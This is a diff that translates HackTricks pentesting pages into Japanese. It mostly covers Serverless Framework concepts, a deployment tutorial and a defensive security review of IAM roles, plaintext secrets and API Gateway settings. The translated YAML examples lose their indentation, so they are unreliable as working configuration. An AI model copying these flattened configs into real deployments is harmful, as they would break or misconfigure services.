-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench)は、セキュリティコンプライアンスのためにソフトウェアサプライチェーンスタックを監査するためのオープンソースツールです。新しい[**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)に基づいています。監査は、コードのタイミングからデプロイのタイミングまでのリスクを明らかにするSDLCプロセス全体に焦点を当てています。
### Top 10 CI/CD Security Risk
-Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Ciderによるトップ10のCI/CDリスクに関する興味深い記事を確認してください:[**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
-- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
-- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- 各プラットフォームでローカルに実行できるものについては、ローカルで起動する方法が見つかり、テストするために好きなように構成できます。
+- Gitea + Jenkinsラボ:[https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov):**Checkov**は、インフラストラクチャコードのための静的コード分析ツールです。
## References
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index bf1343702..ca565be3a 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -2,302 +2,273 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-### Organization
+### 組織
-An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications.
+**Organization** は、Serverless Framework エコシステム内の最上位のエンティティです。これは、複数のプロジェクト、チーム、およびアプリケーションを包含する**集団**、例えば会社、部門、またはその他の大規模なエンティティを表します。
-### Team
+### チーム
-The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings.
+**Team** は、組織内にアクセスを持つユーザーです。チームは、役割に基づいてメンバーを整理するのに役立ちます。**`Collaborators`** は既存のアプリを表示およびデプロイでき、**`Admins`** は新しいアプリを作成し、組織の設定を管理できます。
-### Application
+### アプリケーション
-An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality.
+**App** は、組織内の関連サービスの論理的なグループ化です。これは、複数のサーバーレスサービスで構成され、協調して機能を提供する完全なアプリケーションを表します。
-### **Services**
-
-A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables.
+### **サービス**
+**Service** は、サーバーレスアプリケーションのコアコンポーネントです。これは、すべての関数、設定、および必要なリソースをカプセル化した、あなたの全サーバーレスプロジェクトを表します。通常、`serverless.yml` ファイルで定義され、サービスにはサービス名、プロバイダー設定、関数、イベント、リソース、プラグイン、およびカスタム変数などのメタデータが含まれます。
```yaml
service: my-service
provider:
- name: aws
- runtime: nodejs14.x
+name: aws
+runtime: nodejs14.x
functions:
- hello:
- handler: handler.hello
+hello:
+handler: handler.hello
```
-
Function
-A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events.
-
-It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings.
+**Function**は、AWS Lambda関数のような単一のサーバーレス関数を表します。これは、イベントに応じて実行されるコードを含んでいます。
+これは、`serverless.yml`の`functions`セクションで定義され、ハンドラー、ランタイム、イベント、環境変数、およびその他の設定を指定します。
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
```
-
-Event
+イベント
-**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed.
-
-Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more.
+**イベント**は、サーバーレス関数を呼び出すトリガーです。これにより、関数がどのように、いつ実行されるべきかが定義されます。
+一般的なイベントタイプには、HTTPリクエスト、スケジュールされたイベント(cronジョブ)、データベースイベント、ファイルアップロードなどがあります。
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- - schedule:
- rate: rate(10 minutes)
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+- schedule:
+rate: rate(10 minutes)
```
-
-Resource
+リソース
-**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles.
-
-They are specified under the `resources` section, often using CloudFormation syntax for AWS.
+**リソース** は、データベース、ストレージバケット、またはIAMロールなど、サービスが依存する追加のクラウドリソースを定義することを可能にします。
+それらは `resources` セクションの下に指定され、通常はAWSのCloudFormation構文を使用します。
```yaml
resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- TableName: my-table
- AttributeDefinitions:
- - AttributeName: id
- AttributeType: S
- KeySchema:
- - AttributeName: id
- KeyType: HASH
- ProvisionedThroughput:
- ReadCapacityUnits: 1
- WriteCapacityUnits: 1
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+TableName: my-table
+AttributeDefinitions:
+- AttributeName: id
+AttributeType: S
+KeySchema:
+- AttributeName: id
+KeyType: HASH
+ProvisionedThroughput:
+ReadCapacityUnits: 1
+WriteCapacityUnits: 1
```
-
-Provider
+プロバイダー
-The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider.
-
-It includes details like the runtime, region, stage, and credentials.
+**プロバイダー**オブジェクトは、クラウドサービスプロバイダー(例:AWS、Azure、Google Cloud)を指定し、そのプロバイダーに関連する設定を含みます。
+ランタイム、リージョン、ステージ、認証情報などの詳細が含まれています。
```yaml
yamlCopy codeprovider:
- name: aws
- runtime: nodejs14.x
- region: us-east-1
- stage: dev
+name: aws
+runtime: nodejs14.x
+region: us-east-1
+stage: dev
```
-
-Stage and Region
-
-The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments.
+ステージとリージョン
+ステージは、サービスがデプロイできる異なる環境(例:開発、ステージング、本番)を表します。これは、環境固有の設定とデプロイを可能にします。
```yaml
provider:
- stage: dev
+stage: dev
```
-
-The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations.
-
+地域は、リソースが展開される地理的地域を指定します。これは、レイテンシ、コンプライアンス、および可用性の考慮にとって重要です。
```yaml
provider:
- region: us-west-2
+region: us-west-2
```
-
-Plugins
-
-**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm.
+プラグイン
+**プラグイン** は、Serverless Frameworkの機能を拡張し、新しい機能を追加したり、他のツールやサービスと統合したりします。これらは `plugins` セクションの下で定義され、npmを介してインストールされます。
```yaml
plugins:
- - serverless-offline
- - serverless-webpack
+- serverless-offline
+- serverless-webpack
```
-
-Layers
-
-**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions.
+レイヤー
+**レイヤー** は、共有コードや依存関係を関数とは別にパッケージ化して管理することを可能にします。これにより再利用性が促進され、デプロイメントパッケージのサイズが削減されます。レイヤーは `layers` セクションで定義され、関数によって参照されます。
```yaml
layers:
- commonLibs:
- path: layer-common
+commonLibs:
+path: layer-common
functions:
- hello:
- handler: handler.hello
- layers:
- - { Ref: CommonLibsLambdaLayer }
+hello:
+handler: handler.hello
+layers:
+- { Ref: CommonLibsLambdaLayer }
```
-
-Variables and Custom Variables
+変数とカスタム変数
-**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time.
+**変数** は、デプロイ時に解決されるプレースホルダーを使用することで動的な構成を可能にします。
-- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters.
-
- ```yaml
- functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
- ```
-
-* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`.
-
- ```yaml
- custom:
- tableName: my-dynamodb-table
- stage: ${opt:stage, 'dev'}
- ```
-
-
-
-
-
-Outputs
-
-**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment.
+- **構文:** `${variable}` 構文は、環境変数、ファイルの内容、または他の構成パラメータを参照できます。
```yaml
-¡outputs:
- ApiEndpoint:
- Description: "API Gateway endpoint URL"
- Value:
- Fn::Join:
- - ""
- - - "https://"
- - Ref: ApiGatewayRestApi
- - ".execute-api."
- - Ref: AWS::Region
- - ".amazonaws.com/"
- - Ref: AWS::Stage
-```
-
-
-
-
-
-IAM Roles and Permissions
-
-**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions.
-
-```yaml
-provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
-```
-
-
-
-
-
-Environment Variables
-
-**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions.
-
-```yaml
-provider:
- environment:
- STAGE: ${self:provider.stage}
functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
```
-
-
-
-
-Dependencies
-
-**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`.
-
-```yaml
-plugins:
- - serverless-webpack
-```
-
-
-
-
-
-Hooks
-
-**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments.
+* **カスタム変数:** `custom` セクションは、`serverless.yml` 全体で再利用できるユーザー固有の変数と構成を定義するために使用されます。
```yaml
custom:
- hooks:
- before:deploy:deploy: echo "Starting deployment..."
+tableName: my-dynamodb-table
+stage: ${opt:stage, 'dev'}
```
-### Tutorial
+
-This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
+出力
-1. Create an AWS account (Serverless.com start in AWS infrastructure)
-2. Create an account in serverless.com
-3. Create an app:
+**出力** は、サービスがデプロイされた後に返される値を定義します。これにはリソースARN、エンドポイント、または他の有用な情報が含まれます。これらは `outputs` セクションの下に指定され、他のサービスに情報を公開したり、デプロイ後の簡単なアクセスのために使用されることがよくあります。
+```yaml
+¡outputs:
+ApiEndpoint:
+Description: "API Gateway endpoint URL"
+Value:
+Fn::Join:
+- ""
+- - "https://"
+- Ref: ApiGatewayRestApi
+- ".execute-api."
+- Ref: AWS::Region
+- ".amazonaws.com/"
+- Ref: AWS::Stage
+```
+
+
+
+IAMロールと権限
+
+**IAMロールと権限**は、あなたの関数やその他のリソースのためのセキュリティ資格情報とアクセス権を定義します。必要な権限を指定するために、`provider`または個々の関数設定の下で管理されます。
+```yaml
+provider:
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+```
+
+
+
+
+環境変数
+
+**変数**は、設定や秘密を関数にハードコーディングせずに渡すことを可能にします。これらは、プロバイダーまたは個々の関数の`environment`セクションの下で定義されます。
+```yaml
+provider:
+environment:
+STAGE: ${self:provider.stage}
+functions:
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
+```
+
+
+
+
+依存関係
+
+**依存関係** は、あなたの関数が必要とする外部ライブラリやモジュールを管理します。通常、npmやpipのようなパッケージマネージャーを介して処理され、`serverless-webpack`のようなツールやプラグインを使用してデプロイメントパッケージにバンドルされます。
+```yaml
+plugins:
+- serverless-webpack
+```
+
+
+
+
+フック
+
+**フック** は、デプロイメントライフサイクルの特定のポイントでカスタムスクリプトやコマンドを実行することを可能にします。これらは、プラグインを使用するか、`serverless.yml`内で定義され、デプロイメントの前後にアクションを実行します。
+```yaml
+custom:
+hooks:
+before:deploy:deploy: echo "Starting deployment..."
+```
+
+
+### チュートリアル
+
+これは公式チュートリアルの要約です [**ドキュメントから**](https://www.serverless.com/framework/docs/tutorial):
+
+1. AWSアカウントを作成する(Serverless.comはAWSインフラストラクチャで開始します)
+2. serverless.comにアカウントを作成する
+3. アプリを作成する:
```bash
# Create temp folder for the tutorial
mkdir /tmp/serverless-tutorial
@@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-
-This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function:
+これは、[serverless.com](serverless.com-security.md) で確認できる **app** `tutorialapp` を作成し、`helloworld` コードを含む JS コードがある **`handler.js`** ファイルと、その関数を宣言する **`serverless.yml`** ファイルを含む `Tutorial` というフォルダーを作成するはずです。
{{#tabs }}
{{#tab name="handler.js" }}
-
```javascript
exports.hello = async (event) => {
- return {
- statusCode: 200,
- body: JSON.stringify({
- message: "Go Serverless v4! Your function executed successfully!",
- }),
- }
+return {
+statusCode: 200,
+body: JSON.stringify({
+message: "Go Serverless v4! Your function executed successfully!",
+}),
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -342,130 +309,122 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
+name: aws
+runtime: nodejs20.x
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
```
-
{{#endtab }}
{{#endtabs }}
-4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
- 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
- 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role.
+4. AWSプロバイダーを作成します。`https://app.serverless.com//settings/providers?providerId=new&provider=aws`の**ダッシュボード**に移動します。
+1. `serverless.com`にAWSへのアクセスを許可するために、次の構成ファイルを使用してcloudformationスタックを実行するように求められます(この執筆時点でのもの): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+2. このテンプレートは、**`SFRole-`**というロールを生成し、**`arn:aws:iam::aws:policy/AdministratorAccess`**を持つアカウントに対して、`Serverless.com` AWSアカウントがロールにアクセスできるようにするTrust Identityを持っています。
Yaml roleTemplate
-
```yaml
Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments.
Resources:
- SFRole:
- Type: AWS::IAM::Role
- Properties:
- AssumeRolePolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Principal:
- AWS: arn:aws:iam::486128539022:root
- Action:
- - sts:AssumeRole
- Condition:
- StringEquals:
- sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
- Path: /
- RoleName: !Ref RoleName
- ManagedPolicyArns:
- - arn:aws:iam::aws:policy/AdministratorAccess
- ReporterFunction:
- Type: Custom::ServerlessFrameworkReporter
- Properties:
- ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
- OrgUid: !Ref OrgUid
- RoleArn: !GetAtt SFRole.Arn
- Alias: !Ref Alias
+SFRole:
+Type: AWS::IAM::Role
+Properties:
+AssumeRolePolicyDocument:
+Version: "2012-10-17"
+Statement:
+- Effect: Allow
+Principal:
+AWS: arn:aws:iam::486128539022:root
+Action:
+- sts:AssumeRole
+Condition:
+StringEquals:
+sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
+Path: /
+RoleName: !Ref RoleName
+ManagedPolicyArns:
+- arn:aws:iam::aws:policy/AdministratorAccess
+ReporterFunction:
+Type: Custom::ServerlessFrameworkReporter
+Properties:
+ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
+OrgUid: !Ref OrgUid
+RoleArn: !GetAtt SFRole.Arn
+Alias: !Ref Alias
Outputs:
- SFRoleArn:
- Description: "ARN for the IAM Role used by Serverless Framework"
- Value: !GetAtt SFRole.Arn
+SFRoleArn:
+Description: "ARN for the IAM Role used by Serverless Framework"
+Value: !GetAtt SFRole.Arn
Parameters:
- OrgUid:
- Description: Serverless Framework Org Uid
- Type: String
- Alias:
- Description: Serverless Framework Provider Alias
- Type: String
- RoleName:
- Description: Serverless Framework Role Name
- Type: String
+OrgUid:
+Description: Serverless Framework Org Uid
+Type: String
+Alias:
+Description: Serverless Framework Provider Alias
+Type: String
+RoleName:
+Description: Serverless Framework Role Name
+Type: String
```
-
-Trust Relationship
-
+信頼関係
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::486128539022:root"
- },
- "Action": "sts:AssumeRole",
- "Condition": {
- "StringEquals": {
- "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::486128539022:root"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
+}
+}
+}
+]
}
```
-
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas.
+5. チュートリアルでは、基本的に新しいAPIエンドポイントを新しいJSファイルで処理する`createCustomer.js`というファイルを作成するように求められ、**新しいDynamoDBテーブル**を生成し、**環境変数**を定義し、生成されたラムダを使用するロールを設定するために`serverless.yml`ファイルを修正するように求められています。
{{#tabs }}
{{#tab name="createCustomer.js" }}
-
```javascript
"use strict"
const AWS = require("aws-sdk")
module.exports.createCustomer = async (event) => {
- const body = JSON.parse(Buffer.from(event.body, "base64").toString())
- const dynamoDb = new AWS.DynamoDB.DocumentClient()
- const putParams = {
- TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
- Item: {
- primary_key: body.name,
- email: body.email,
- },
- }
- await dynamoDb.put(putParams).promise()
- return {
- statusCode: 201,
- }
+const body = JSON.parse(Buffer.from(event.body, "base64").toString())
+const dynamoDb = new AWS.DynamoDB.DocumentClient()
+const putParams = {
+TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
+Item: {
+primary_key: body.name,
+email: body.email,
+},
+}
+await dynamoDb.put(putParams).promise()
+return {
+statusCode: 201,
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -475,147 +434,142 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
- environment:
- DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
- iam:
- role:
- statements:
- - Effect: "Allow"
- Action:
- - "dynamodb:PutItem"
- - "dynamodb:Get*"
- - "dynamodb:Scan*"
- - "dynamodb:UpdateItem"
- - "dynamodb:DeleteItem"
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+name: aws
+runtime: nodejs20.x
+environment:
+DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
+iam:
+role:
+statements:
+- Effect: "Allow"
+Action:
+- "dynamodb:PutItem"
+- "dynamodb:Get*"
+- "dynamodb:Scan*"
+- "dynamodb:UpdateItem"
+- "dynamodb:DeleteItem"
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
- createCustomer:
- handler: createCustomer.createCustomer
- events:
- - httpApi:
- path: /
- method: post
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
+createCustomer:
+handler: createCustomer.createCustomer
+events:
+- httpApi:
+path: /
+method: post
resources:
- Resources:
- CustomerTable:
- Type: AWS::DynamoDB::Table
- Properties:
- AttributeDefinitions:
- - AttributeName: primary_key
- AttributeType: S
- BillingMode: PAY_PER_REQUEST
- KeySchema:
- - AttributeName: primary_key
- KeyType: HASH
- TableName: ${self:service}-customerTable-${sls:stage}
+Resources:
+CustomerTable:
+Type: AWS::DynamoDB::Table
+Properties:
+AttributeDefinitions:
+- AttributeName: primary_key
+AttributeType: S
+BillingMode: PAY_PER_REQUEST
+KeySchema:
+- AttributeName: primary_key
+KeyType: HASH
+TableName: ${self:service}-customerTable-${sls:stage}
```
-
{{#endtab }}
{{#endtabs }}
-6. Deploy it running **`serverless deploy`**
- 1. The deployment will be performed via a CloudFormation Stack
- 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs
-7. **Test it**
- 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed
+6. **`serverless deploy`**を実行してデプロイします
+1. デプロイメントはCloudFormationスタックを介して行われます
+2. **ラムダはAPIゲートウェイを介して公開されており**、直接のURLではありません
+7. **テストします**
+1. 前のステップでは、APIエンドポイントラムダ関数がデプロイされた**URL**が表示されます
-## Security Review of Serverless.com
+## Serverless.comのセキュリティレビュー
-### **Misconfigured IAM Roles and Permissions**
+### **誤設定されたIAMロールと権限**
-Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation.
+過度に許可されたIAMロールは、クラウドリソースへの不正アクセスを許可し、データ漏洩やリソースの操作につながる可能性があります。
-When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like:
+ラムダ関数に対して権限が指定されていない場合、ログを生成するための権限のみを持つロールが作成されます。例えば:
-Minimum lambda permissions
-
+最小限のラムダ権限
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Action": [
- "logs:CreateLogStream",
- "logs:CreateLogGroup",
- "logs:TagResource"
- ],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
- ],
- "Effect": "Allow"
- },
- {
- "Action": ["logs:PutLogEvents"],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
- ],
- "Effect": "Allow"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Action": [
+"logs:CreateLogStream",
+"logs:CreateLogGroup",
+"logs:TagResource"
+],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
+],
+"Effect": "Allow"
+},
+{
+"Action": ["logs:PutLogEvents"],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
+],
+"Effect": "Allow"
+}
+]
}
```
-
-#### **Mitigation Strategies**
+#### **緩和戦略**
-- **Principle of Least Privilege:** Assign only necessary permissions to each function.
-
- ```yaml
- provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
- ```
-
-- **Use Separate Roles:** Differentiate roles based on function requirements.
-
----
-
-### **Insecure Secrets and Configuration Management**
-
-Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised.
-
-The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**!
-
-> [!CAUTION]
-> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!**
-
-For example, the following example will use SSM to get an environment variable:
+- **最小権限の原則:** 各関数に必要な権限のみを割り当てる。
```yaml
provider:
- environment:
- DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
+- **別々のロールを使用:** 関数の要件に基づいてロールを区別する。
+
+---
+
+### **安全でない秘密情報と構成管理**
+
+敏感な情報(例:APIキー、データベースの資格情報)を**`serverless.yml`**やコードに直接保存すると、リポジトリが侵害された場合に露出する可能性があります。
+
+**推奨される**方法は、serverless.comの**`serverless.yml`**ファイルに環境変数を保存するために、`ssm`または`s3`プロバイダーを使用することです。これにより、**デプロイ時にこれらのソースから環境値を取得し、**lambdas**の環境変数を**値のクリアテキストなしで**構成できます!
+
+> [!CAUTION]
+> したがって、AWS内のlambdas構成を読み取る権限を持つ人は、**これらの環境変数すべてにクリアテキストでアクセスできるようになります!**
+
+例えば、以下の例ではSSMを使用して環境変数を取得します:
+```yaml
+provider:
+environment:
+DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+```
And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
> [!TIP]
> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
@@ -623,19 +577,19 @@ And even if this prevents hardcoding the environment variable value in the **`se
---
-### **Vulnerable Code and Dependencies**
+### **脆弱なコードと依存関係**
Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
- ```yaml
- plugins:
- - serverless-webpack
- - serverless-plugin-snyk
- ```
+```yaml
+plugins:
+- serverless-webpack
+- serverless-plugin-snyk
+```
- **Input Validation:** Implement strict validation and sanitization of all inputs.
- **Code Reviews:** Conduct thorough reviews to identify security flaws.
@@ -643,18 +597,18 @@ Outdated or insecure dependencies can introduce vulnerabilities, while improper
---
-### **Inadequate Logging and Monitoring**
+### **不十分なログ記録と監視**
Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
- ```yaml
- plugins:
- - serverless-plugin-datadog
- ```
+```yaml
+plugins:
+- serverless-plugin-datadog
+```
- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
@@ -662,95 +616,95 @@ Without proper logging and monitoring, malicious activities may go undetected, d
---
-### **Insecure API Gateway Configurations**
+### **不安全なAPIゲートウェイ設定**
Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- authorizer: aws_iam
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+authorizer: aws_iam
+```
